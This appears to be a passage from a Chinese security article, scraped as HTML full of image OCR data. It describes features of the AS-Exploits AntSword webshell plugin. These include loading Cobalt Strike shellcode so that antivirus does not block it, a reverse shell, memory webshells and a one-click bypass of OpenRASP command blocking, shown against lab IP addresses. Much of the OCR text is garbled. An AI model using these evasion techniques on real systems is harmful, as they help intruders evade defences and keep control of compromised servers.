src="https://wechat2rss.xlab.app/img-proxy/?k=fea5d08d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacdxWBrD0ZmI0dAOxvkic09hsib5ibMj4GSToM33sR8Cic3Qrgqvgq0ibibNJw%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="d06cba778aaf782300988655a53d0fa3" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">CS生成对应位数的shellcode，选择java格式导出。</p><p data-lake-id="36f1b482aeee11119580526cc052c839" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">粘贴到插件中，在exploit的一刻会自动格式化为hex</p><p data-lake-id="673766c68f4562a474863add861c0b6a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1620703807468-151e070f-b07a-4abf-8ff2-dbad3d0a3a3d.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A638%2C%22height%22%3A284%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A295966%2C%22originWidth%22%3A969%2C%22originHeight%22%3A431%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22AS-Exploits192.168.88.135jpByyzddMr6%20%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%20Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E5%8F%8D%E5%BC%B9Shell%20%E5%85%B3%E4%BA%8E%20%E5%B1%8F%E5%9F%BA%E6%95%99%E5%9B%BE%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E5%86%85%E5%AD%98%E9%A9%AC%20Shelicode%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20%E5%8A%A0%E8%87%B4%E6%96%B9%E5%BC%8F%20exploit%2011000001545075768308000%20Q8%3A24134002038740770440t%20ttbawtcstccoc%20015050495%E8%AF%9D150505020176oftte%20T6011b1481000000omo4%20Hbbb4o0.481tco%207341074868005070goo7%20dott.titdyafca%20805736771G0.77m%20300180388574150480oo%201460610038807%20Beeba0013090%20eadat.m45t0To%2003euibaa70t%20gbittitbooc.%20ffff31393223136382383829313239001969a08d%20%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%20Javashellcode%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A6.644383%2C%22y%22%3A0.17837064%2C%22width%22%3A295.372737%2C%22height%22%3A16.83686136%2C%22text%22%3A%22AS-Exploits192.168.88.135jpByyzddMr6%22%7D%2C%7B%22x%22%3A35.967785%2C%22y%22%3A27.263922%2C%22width%22%3A47.809295%2C%22height%22%3A13.603223999999997%2C%22text%22%3A%22%E5%9F%BA%E6%9C%AC%E4%BF%A1%E6%81%AF%22%7D%2C%7B%22x%22%3A745.98126%2C%22y%22%3A27.352583%2C%22width%22%3A51.79547000000002%2C%22height%22%3A13.528803%2C%22text%22%3A%22Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A120.35663%2C%22y%22%3A28.012625%2C%22width%22%3A51.1095%2C%22height%22%3A13.374108999999997%2C%22text%22%3A%22%E5%8F%8D%E5%BC%B9Shell%22%7D%2C%7B%22x%22%3A833.7481%2C%22y%22%3A28.00217%2C%22width%22%3A24.504459999999995%2C%22height%22%3A13.634507%2C%22text%22%3A%22%E5%85%B3%E4%BA%8E%22%7D%2C%7B%22x%22%3A534.5676%2C%22y%22%3A28.199406%2C%22width%22%3A48.08240000000001%2C%22height%22%3A13.472938000000003%2C%22text%22%3A%22%E5%B1%8F%E5%9F%BA%E6%95%99%E5%9B%BE%22%7D%2C%7B%22x%22%3A452.40518%2C%22y%22%3A28.549507%2C%22width%22%3A47.78177000000005%2C%22height%22%3A12.387943%2C%22text%22%3A%22%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%22%7D%2C%7B%22x%22%3A370.5448%2C%22y%22%3A28.666506%2C%22width%22%3A47.50599999999997%2C%22height%22%3A13.127174000000004%2C%22text%22%3A%22%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%22%7D%2C%7B%22x%22%3A203.90288%2C%22y%22%3A28.060266%2C%22width%22%3A37.62783999999999%2C%22height%22%3A13.513345999999999%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%22%7D%2C%7B%22x%22%3A615.5227%2C%22y%22%3A28.031994%2C%22width%22%3A96.66650000000004%2C%22height%22%3A14.142078000000001%2C%22text%22%3A%22Shelicode%E5%8A%A0%E8%BD%BD%E5%99%A8%22%7D%2C%7B%22x%22%3A276.48248%2C%22y%22%3A28.087969%2C%22width%22%3A58.8082%2C%22height%22%3A13.364750999999998%2C%22text%22%3A%22%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%22%7D%2C%7B%22x%22%3A83.88426%2C%22y%22%3A58.811306%2C%22width%22%3A52.031189999999995%2C%22height%22%3A13.365559000000005%2C%22text%22%3A%22%E5%8A%A0%E8%87%B4%E6%96%B9%E5%BC%8F%22%7D%2C%7B%22x%22%3A18.563385%2C%22y%22%3A59.07864%2C%22width%22%3A37.91202199999999%2C%22height%22%3A13.816439999999993%2C%22text%22%3A%22exploit%22%7D%2C%7B%22x%22%3A50.46142%2C%22y%22%3A84.730736%2C%22width%22%3A891.26358%2C%22height%22%3A13.775724000000011%2C%22text%22%3A%2211000001545075768308000%22%7D%2C%7B%22x%22%3A77.89036%2C%22y%22%3A101.654976%2C%22width%22%3A865.41884%2C%22height%22%3A11.682693999999998%2C%22text%22%3A%22Q8%3A24134002038740770440t%22%7D%2C%7B%22x%22%3A77.74048%2C%22y%22%3A116.62881%2C%22width%22%3A865.0870199999999%2C%22height%22%3A12.758120000000005%2C%22text%22%3A%22ttbawtcstccoc%22%7D%2C%7B%22x%22%3A78.35947%2C%22y%22%3A132.09473%2C%22width%22%3A865.55213%2C%22height%22%3A12.450500000000005%2C%22text%22%3A%22015050495%E8%AF%9D150505020176oftte%22%7D%2C%7B%22x%22%3A79.45686%2C%22y%22%3A147.52097%2C%22width%22%3A865.21694%2C%22height%22%3A13.469920000000002%2C%22text%22%3A%22T6011b1481000000omo4%22%7D%2C%7B%22x%22%3A78.224464%2C%22y%22%3A161.91124%2C%22width%22%3A865.179586%2C%22height%22%3A15.65186%2C%22text%22%3A%22Hbbb4o0.481tco%22%7D%2C%7B%22x%22%3A79.64114%2C%22y%22%3A178.14093%2C%22width%22%3A864.72896%2C%22height%22%3A13.359219999999993%2C%22text%22%3A%227341074868005070goo7%22%7D%2C%7B%22x%22%3A78.883545%2C%22y%22%3A193.87527%2C%22width%22%3A865.994505%2C%22height%22%3A13.563299999999998%2C%22text%22%3A%22dott.titdyafca%22%7D%2C%7B%22x%22%3A78.615715%2C%22y%22%3A209.38867%2C%22width%22%3A865.674755%2C%22height%22%3A13.889530000000008%2C%22text%22%3A%22805736771G0.77m%22%7D%2C%7B%22x%22%3A78.84528%2C%22y%22%3A225.37561%2C%22width%22%3A865.10339%2C%22height%22%3A12.332340000000016%2C%22text%22%3A%22300180388574150480oo%22%7D%2C%7B%22x%22%3A79.32323%2C%22y%22%3A240.33644%2C%22width%22%3A864.4659700000001%2C%22height%22%3A12.720159999999993%2C%22text%22%3A%221460610038807%22%7D%2C%7B%22x%22%3A79.30295%2C%22y%22%3A255.57486%2C%22width%22%3A864.98005%2C%22height%22%3A13.14792%2C%22text%22%3A%22Beeba0013090%22%7D%2C%7B%22x%22%3A79.060074%2C%22y%22%3A272.90582%2C%22width%22%3A865.5804860000001%2C%22height%22%3A11.80550999999997%2C%22text%22%3A%22eadat.m45t0To%22%7D%2C%7B%22x%22%3A78.79968%2C%22y%22%3A286.82483%2C%22width%22%3A866.54402%2C%22height%22%3A13.467870000000005%2C%22text%22%3A%2203euibaa70t%22%7D%2C%7B%22x%22%3A79.73359%2C%22y%22%3A301.58047%2C%22width%22%3A865.03681%2C%22height%22%3A13.667550000000006%2C%22text%22%3A%22gbittitbooc.%22%7D%2C%7B%22x%22%3A79.06129%2C%22y%22%3A316.82706%2C%22width%22%3A316.95018%2C%22height%22%3A13.247160000000008%2C%22text%22%3A%22ffff31393223136382383829313239001969a08d%22%7D%2C%7B%22x%22%3A9.66277%2C%22y%22%3A338.28915%2C%22width%22%3A48.687694%2C%22height%22%3A14.349130000000002%2C%22text%22%3A%22%E8%BE%93%E5%87%BA%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A49.035736%2C%22y%22%3A363.15872%2C%22width%22%3A106.754184%2C%22height%22%3A13.715119999999956%2C%22text%22%3A%22Javashellcode%22%7D%5D%2C%22id%22%3A%22qgp31%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="284px" data-ratio="0.44478844169246645" title="image.png" data-type="png" data-w="969" style="visibility: visible;width: 638px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1f624383&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacYGww23rXrxDy7YGadm6Ao0AonEcDD2AQowErE6fnkpLibYT0PQHhibFg%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="f0b8f42f25f21b96a65f01dc3304fd02" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">直接上线，杀软没有拦截。</p><p data-lake-id="0a64792324ab4688af245e701a6d5fad" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1620703830068-f753a8b6-57c0-4990-bc83-cd24fb7b3d75.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A674%2C%22height%22%3A104%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A43891%2C%22originWidth%22%3A956%2C%22originHeight%22%3A147%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22CobaltStrike%20CobaltStnike%E8%A7%86%E7%8E%AB%E5%87%BB%E6%8A%A5%E5%91%8A%E9%99%84%E5%8A%A9Crossc2%20%E4%B8%AA%E9%98%B3%E4%B8%89%E6%97%A5%E5%9B%BD%E5%87%80%20pld%20las%20computer%20listener%20arch%20lneinal%20note%20user%20ereinal%20process%20%E5%8F%A3%20192.168.88.135%20192.168.88.135%20SO%2010424%2039%20javaexe%20x64%20test%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A456.65634%2C%22y%22%3A0.66978896%2C%22width%22%3A54.64096000000001%2C%22height%22%3A8.98135804%2C%22text%22%3A%22CobaltStrike%22%7D%2C%7B%22x%22%3A1.3512317%2C%22y%22%3A19.37259%2C%22width%22%3A197.2220583%2C%22height%22%3A11.585229000000002%2C%22text%22%3A%22CobaltStnike%E8%A7%86%E7%8E%AB%E5%87%BB%E6%8A%A5%E5%91%8A%E9%99%84%E5%8A%A9Crossc2%22%7D%2C%7B%22x%22%3A28.34653%2C%22y%22%3A36.379803%2C%22width%22%3A168.99753%2C%22height%22%3A12.440974999999995%2C%22text%22%3A%22%E4%B8%AA%E9%98%B3%E4%B8%89%E6%97%A5%E5%9B%BD%E5%87%80%22%7D%2C%7B%22x%22%3A813.34686%2C%22y%22%3A54.52187%2C%22width%22%3A17.511840000000007%2C%22height%22%3A10.456250000000004%2C%22text%22%3A%22pld%22%7D%2C%7B%22x%22%3A939.02325%2C%22y%22%3A54.84435%2C%22width%22%3A17.39185000000009%2C%22height%22%3A10.501666000000007%2C%22text%22%3A%22las%22%7D%2C%7B%22x%22%3A476.1289%2C%22y%22%3A55.270153%2C%22width%22%3A45.07306999999997%2C%22height%22%3A9.033451000000007%2C%22text%22%3A%22computer%22%7D%2C%7B%22x%22%3A247.8788%2C%22y%22%3A55.880947%2C%22width%22%3A36.27969999999999%2C%22height%22%3A8.326068999999997%2C%22text%22%3A%22listener%22%7D%2C%7B%22x%22%3A877.32275%2C%22y%22%3A55.534935%2C%22width%22%3A21.123109999999997%2C%22height%22%3A8.704065000000007%2C%22text%22%3A%22arch%22%7D%2C%7B%22x%22%3A135.04402%2C%22y%22%3A56.01603%2C%22width%22%3A37.56784000000002%2C%22height%22%3A7.630659999999999%2C%22text%22%3A%22lneinal%22%7D%2C%7B%22x%22%3A588.30164%2C%22y%22%3A55.9509%2C%22width%22%3A22.65050999999994%2C%22height%22%3A8.273500000000006%2C%22text%22%3A%22note%22%7D%2C%7B%22x%22%3A361.55212%2C%22y%22%3A56.02772%2C%22width%22%3A22.59789999999998%2C%22height%22%3A8.017194000000003%2C%22text%22%3A%22user%22%7D%2C%7B%22x%22%3A21.653688%2C%22y%22%3A56.018612%2C%22width%22%3A39.194796%2C%22height%22%3A7.986848000000002%2C%22text%22%3A%22ereinal%22%7D%2C%7B%22x%22%3A699.5046%2C%22y%22%3A56.136723%2C%22width%22%3A41.18489999999997%2C%22height%22%3A8.683066999999994%2C%22text%22%3A%22process%22%7D%2C%7B%22x%22%3A1.9563241%2C%22y%22%3A68.72725%2C%22width%22%3A13.2909789%2C%22height%22%3A11.252629999999996%2C%22text%22%3A%22%E5%8F%A3%22%7D%2C%7B%22x%22%3A21.926535%2C%22y%22%3A70.16891%2C%22width%22%3A74.16736%2C%22height%22%3A10.089055000000002%2C%22text%22%3A%22192.168.88.135%22%7D%2C%7B%22x%22%3A135.23949%2C%22y%22%3A69.98559%2C%22width%22%3A73.95285000000001%2C%22height%22%3A10.730599999999995%2C%22text%22%3A%22192.168.88.135%22%7D%2C%7B%22x%22%3A549.9471%2C%22y%22%3A70.37184%2C%22width%22%3A15.085000000000036%2C%22height%22%3A9.403539999999992%2C%22text%22%3A%22SO%22%7D%2C%7B%22x%22%3A814.74097%2C%22y%22%3A70.502975%2C%22width%22%3A30.88519000000008%2C%22height%22%3A8.826530999999989%2C%22text%22%3A%2210424%22%7D%2C%7B%22x%22%3A939.3868%2C%22y%22%3A70.91394%2C%22width%22%3A14.604900000000043%2C%22height%22%3A9.77073%2C%22text%22%3A%2239%22%7D%2C%7B%22x%22%3A699.5024%2C%22y%22%3A70.79322%2C%22width%22%3A40.73829999999998%2C%22height%22%3A9.95357%2C%22text%22%3A%22javaexe%22%7D%2C%7B%22x%22%3A875.92175%2C%22y%22%3A70.85567%2C%22width%22%3A20.419449999999983%2C%22height%22%3A9.059939999999997%2C%22text%22%3A%22x64%22%7D%2C%7B%22x%22%3A247.36873%2C%22y%22%3A71.68128%2C%22width%22%3A20.107009999999974%2C%22height%22%3A8.321634000000003%2C%22text%22%3A%22test%22%7D%5D%2C%22id%22%3A%22Ce3S5%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="104px" data-ratio="0.15376569037656904" title="image.png" data-type="png" data-w="956" style="visibility: visible;width: 674px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e729ba6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacfvWAGyRjbTQrblD4EpQIbmsgL3j1lhmDsEmkxQjShNbaHRzibmpbiaSA%2F640%3Fwx_fmt%3Dpng"/></span></p><h2 data-lake-id="NIsBk" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;">一键Bypass OpenRASP</h2><blockquote style="margin-top: 5px;margin-bottom: 5px;padding-left: 1em;border-left-color: rgb(238, 238, 238);opacity: 0.6;"><p data-lake-id="fada804206c0f364d62e2fc3dc37ca02" data-wording="true" style="color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">借鉴自哥斯拉的插件：Godzilla-BypassOpenRasp</p></blockquote><p data-lake-id="ad936d097ed89bf3e76fead838b78cda" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">一键绕过OpenRASP</p><p data-lake-id="26eb9e8a96e9d071fbae1435ca044c7a" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">目标安装有OpenRASP且开启命令执行拦截</p><p data-lake-id="7bd1b9e4e1447504bef4b8327ba35267" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067294376-d189243e-dd63-4feb-a291-7b384cd55aeb.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A867%2C%22height%22%3A230%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A128385%2C%22originWidth%22%3A1734%2C%22originHeight%22%3A460%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22Request%20Response%20Pretty%20Raw%20Render%20Pretty%20Actions%20Actions%20Raw%20poT%2Fant%2Fshell.jSPHTTP%2F1.1%20HTTP%2F1.1302%202x-Request-ID%3A30c5961684124ad9efaf882737%20Host%3A192.168.88.144%3A8080%2038-%20X-Protected-By%3AOpenRASP%20Accept-Encoding%3Agzip.deflate%20AUSeRAent%3AMozila%2F5.0idoek%2F%20SCHHSSAMD399229832682A8%201ikeGecko)Chrom%2F35.0.3319.102Safari%2F37.3%206%20%E6%97%A5%20Content-Type%3Aapplication%2F-w-formurlencoded%20Content-Type%3Atext%2Fhtml%3Acharset-UTF8%20Content-Length%3A118%20Content-Length%3A8979%208D%20Date%3AFri14Ma202111%3A11%3A55GT%20Connection%3Aclose%209Connection%3Aclose%2010%20ant%3F%2011KK%2Fscript%3E%20YOVAAADEBRTOACICOCCAKUATIAPAEAPOKAGBCMCACMCOCCAKBLARKJATLAOBOA88%20CRBMCSCGALAKIIAROAKIAKSALAALIALAMLAGASAXCICWBALULASATBOA%20%3Cscript%20Location.hrephttps%2F%2Fsballk%2F%20SSCSCQCCALZAITAUACBKAL%20%3CIscript%3E%20WAOACUCEFCGCCAMEKWIAOAXADECRABAWYTACKADCAYAEAYORAYOAUADLBOMCRA3%20ANOKACAAZEOANRDPCASANARABOAOQGAOGOLDTCGAUANHANUKATIALROANDIC.CAN%20LANKIANAKANSACLOULO%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A8.550153%2C%22y%22%3A11.728563%2C%22width%22%3A73.667231%2C%22height%22%3A16.548592%2C%22text%22%3A%22Request%22%7D%2C%7B%22x%22%3A767.84564%2C%22y%22%3A12.59503%2C%22width%22%3A87.74036000000001%2C%22height%22%3A15.427416%2C%22text%22%3A%22Response%22%7D%2C%7B%22x%22%3A10.738056%2C%22y%22%3A49.611797%2C%22width%22%3A42.747368%2C%22height%22%3A17.475823%2C%22text%22%3A%22Pretty%22%7D%2C%7B%22x%22%3A831.1801%2C%22y%22%3A49.864216%2C%22width%22%3A33.52359999999999%2C%22height%22%3A16.038059000000004%2C%22text%22%3A%22Raw%22%7D%2C%7B%22x%22%3A878.30115%2C%22y%22%3A50.78539%2C%22width%22%3A54.133749999999964%2C%22height%22%3A14.468454999999999%2C%22text%22%3A%22Render%22%7D%2C%7B%22x%22%3A770.52106%2C%22y%22%3A50.83939%2C%22width%22%3A42.61919999999998%2C%22height%22%3A15.330363999999996%2C%22text%22%3A%22Pretty%22%7D%2C%7B%22x%22%3A161.73921%2C%22y%22%3A51.45178%2C%22width%22%3A66.75762999999998%2C%22height%22%3A14.146270000000001%2C%22text%22%3A%22Actions%22%7D%2C%7B%22x%22%3A993.06384%2C%22y%22%3A51.81326%2C%22width%22%3A56.09066000000007%2C%22height%22%3A15.39703%2C%22text%22%3A%22Actions%22%7D%2C%7B%22x%22%3A72.394135%2C%22y%22%3A51.84712%2C%22width%22%3A31.873835%2C%22height%22%3A14.165320000000001%2C%22text%22%3A%22Raw%22%7D%2C%7B%22x%22%3A22.848446%2C%22y%22%3A82.07143%2C%22width%22%3A285.42371399999996%2C%22height%22%3A20.756259999999997%2C%22text%22%3A%22poT%2Fant%2Fshell.jSPHTTP%2F1.1%22%7D%2C%7B%22x%22%3A783.67487%2C%22y%22%3A81.90442%2C%22width%22%3A130.13646999999992%2C%22height%22%3A18.31716%2C%22text%22%3A%22HTTP%2F1.1302%22%7D%2C%7B%22x%22%3A767.3441%2C%22y%22%3A106.08746%2C%22width%22%3A482.8916999999999%2C%22height%22%3A21.736934000000005%2C%22text%22%3A%222x-Request-ID%3A30c5961684124ad9efaf882737%22%7D%2C%7B%22x%22%3A24.068989%2C%22y%22%3A107.28139%2C%22width%22%3A254.84421100000003%2C%22height%22%3A17.446934999999996%2C%22text%22%3A%22Host%3A192.168.88.144%3A8080%22%7D%2C%7B%22x%22%3A766.5842%2C%22y%22%3A127.81568%2C%22width%22%3A40.181100000000015%2C%22height%22%3A21.771519999999995%2C%22text%22%3A%2238-%22%7D%2C%7B%22x%22%3A784.6053%2C%22y%22%3A129.95743%2C%22width%22%3A257.5334999999999%2C%22height%22%3A18.895380000000017%2C%22text%22%3A%22X-Protected-By%3AOpenRASP%22%7D%2C%7B%22x%22%3A24.933023%2C%22y%22%3A132.4944%2C%22width%22%3A322.264917%2C%22height%22%3A16.199399999999997%2C%22text%22%3A%22Accept-Encoding%3Agzip.deflate%22%7D%2C%7B%22x%22%3A22.465101%2C%22y%22%3A148.63737%2C%22width%22%3A672.845999%2C%22height%22%3A26.839380000000006%2C%22text%22%3A%22AUSeRAent%3AMozila%2F5.0idoek%2F%22%7D%2C%7B%22x%22%3A767.2516%2C%22y%22%3A152.84753%2C%22width%22%3A874.7012%2C%22height%22%3A46.973330000000004%2C%22text%22%3A%22SCHHSSAMD399229832682A8%22%7D%2C%7B%22x%22%3A25.859177%2C%22y%22%3A175.43127%2C%22width%22%3A468.578053%2C%22height%22%3A21.128509999999977%2C%22text%22%3A%221ikeGecko)Chrom%2F35.0.3319.102Safari%2F37.3%22%7D%2C%7B%22x%22%3A766.24744%2C%22y%22%3A199.15219%2C%22width%22%3A22.793210000000045%2C%22height%22%3A22.793210000000045%2C%22text%22%3A%226%22%7D%2C%7B%22x%22%3A1.7899458%2C%22y%22%3A201.13356%2C%22width%22%3A32.1248602%2C%22height%22%3A32.1248602%2C%22text%22%3A%22%E6%97%A5%22%7D%2C%7B%22x%22%3A26.65073%2C%22y%22%3A202.12833%2C%22width%22%3A474.84787%2C%22height%22%3A16.935039999999987%2C%22text%22%3A%22Content-Type%3Aapplication%2F-w-formurlencoded%22%7D%2C%7B%22x%22%3A785.2473%2C%22y%22%3A202.6026%2C%22width%22%3A372.8823%2C%22height%22%3A18.294450000000012%2C%22text%22%3A%22Content-Type%3Atext%2Fhtml%3Acharset-UTF8%22%7D%2C%7B%22x%22%3A785.6862%2C%22y%22%3A223.84978%2C%22width%22%3A197.8424%2C%22height%22%3A18.47530999999998%2C%22text%22%3A%22Content-Length%3A118%22%7D%2C%7B%22x%22%3A27.525486%2C%22y%22%3A224.51567%2C%22width%22%3A204.078864%2C%22height%22%3A18.588330000000013%2C%22text%22%3A%22Content-Length%3A8979%22%7D%2C%7B%22x%22%3A766.0095%2C%22y%22%3A247.80168%2C%22width%22%3A34.15210000000002%2C%22height%22%3A19.159219999999976%2C%22text%22%3A%228D%22%7D%2C%7B%22x%22%3A785.72015%2C%22y%22%3A248.55829%2C%22width%22%3A351.46404999999993%2C%22height%22%3A18.356409999999983%2C%22text%22%3A%22Date%3AFri14Ma202111%3A11%3A55GT%22%7D%2C%7B%22x%22%3A26.699837%2C%22y%22%3A251.14606%2C%22width%22%3A172.917813%2C%22height%22%3A17.92517000000001%2C%22text%22%3A%22Connection%3Aclose%22%7D%2C%7B%22x%22%3A765.4026%2C%22y%22%3A271.7187%2C%22width%22%3A198.52274999999997%2C%22height%22%3A22.4932%2C%22text%22%3A%229Connection%3Aclose%22%7D%2C%7B%22x%22%3A756.03937%2C%22y%22%3A296.4545%2C%22width%22%3A24.037599999999998%2C%22height%22%3A19.747619999999984%2C%22text%22%3A%2210%22%7D%2C%7B%22x%22%3A25.258703%2C%22y%22%3A299.2622%2C%22width%22%3A49.294977%2C%22height%22%3A16.379999999999995%2C%22text%22%3A%22ant%3F%22%7D%2C%7B%22x%22%3A747.25116%2C%22y%22%3A317.73895%2C%22width%22%3A131.57849%2C%22height%22%3A21.252080000000035%2C%22text%22%3A%2211KK%2Fscript%3E%22%7D%2C%7B%22x%22%3A27.49394%2C%22y%22%3A319.44342%2C%22width%22%3A706.1541900000001%2C%22height%22%3A21.431460000000015%2C%22text%22%3A%22YOVAAADEBRTOACICOCCAKUATIAPAEAPOKAGBCMCACMCOCCAKBLARKJATLAOBOA88%22%7D%2C%7B%22x%22%3A27.389633%2C%22y%22%3A343.72745%2C%22width%22%3A708.231367%2C%22height%22%3A20.12145000000004%2C%22text%22%3A%22CRBMCSCGALAKIIAROAKIAKSALAALIALAMLAGASAXCICWBALULASATBOA%22%7D%2C%7B%22x%22%3A792.81335%2C%22y%22%3A346.9125%2C%22width%22%3A83.28835000000004%2C%22height%22%3A15.33126999999996%2C%22text%22%3A%22%3Cscript%22%7D%2C%7B%22x%22%3A802.9108%2C%22y%22%3A364.66705%2C%22width%22%3A924.5904999999999%2C%22height%22%3A22.708550000000002%2C%22text%22%3A%22Location.hrephttps%2F%2Fsballk%2F%22%7D%2C%7B%22x%22%3A26.881048%2C%22y%22%3A367.94177%2C%22width%22%3A705.887502%2C%22height%22%3A20.556150000000002%2C%22text%22%3A%22SSCSCQCCALZAITAUACBKAL%22%7D%2C%7B%22x%22%3A787.29156%2C%22y%22%3A391.62448%2C%22width%22%3A88.18848000000003%2C%22height%22%3A18.75824%2C%22text%22%3A%22%3CIscript%3E%22%7D%2C%7B%22x%22%3A27.568066%2C%22y%22%3A392.4675%2C%22width%22%3A704.8252339999999%2C%22height%22%3A18.36130000000003%2C%22text%22%3A%22WAOACUCEFCGCCAMEKWIAOAXADECRABAWYTACKADCAYAEAYORAYOAUADLBOMCRA3%22%7D%2C%7B%22x%22%3A25.86193%2C%22y%22%3A414.25058%2C%22width%22%3A708.3239199999999%2C%22height%22%3A19.257839999999987%2C%22text%22%3A%22ANOKACAAZEOANRDPCASANARABOAOQGAOGOLDTCGAUANHANUKATIALROANDIC.CAN%22%7D%2C%7B%22x%22%3A27.433836%2C%22y%22%3A439.38885%2C%22width%22%3A703.1152639999999%2C%22height%22%3A20.401189999999986%2C%22text%22%3A%22LANKIANAKANSACLOULO%22%7D%5D%2C%22id%22%3A%22OmYXK%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="230px" data-ratio="0.26528258362168394" title="image.png" data-type="png" data-w="1734" style="visibility: visible;width: 867px;" src="https://wechat2rss.xlab.app/img-proxy/?k=da439f8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacox4uIp7oOuTHhhYicSzlHJBPNH8iaLFoajlx6XDFwuHODsT7u7D4MCicQ%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="168a662e38a8175fc9928aa174ff15b6" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">exploit!</p><p data-lake-id="ae8556ddf1fac7b07bf8270b2c1d18a0" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067289062-8d172156-075b-4f43-a06a-8b30fd7f0bef.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A625%2C%22height%22%3A326%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A30120%2C%22originWidth%22%3A1057%2C%22originHeight%22%3A552%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22AS-Exploitsv1.319168.88.144jByzdMr6%20%E5%8F%A3x%20SheliCode%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E5%85%B3%E4%BA%8E%20Jar%E5%8A%A0%E8%BD%BD%E5%99%A8%20%E6%9D%80%E8%BD%AF%E8%AF%86%E5%88%AB%20%E6%8F%90%E6%9D%83%E8%BE%85%E5%8A%A9%20%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%20%E5%86%85%E5%AD%98%E9%A9%AC%E7%AE%A1%E7%90%86%20B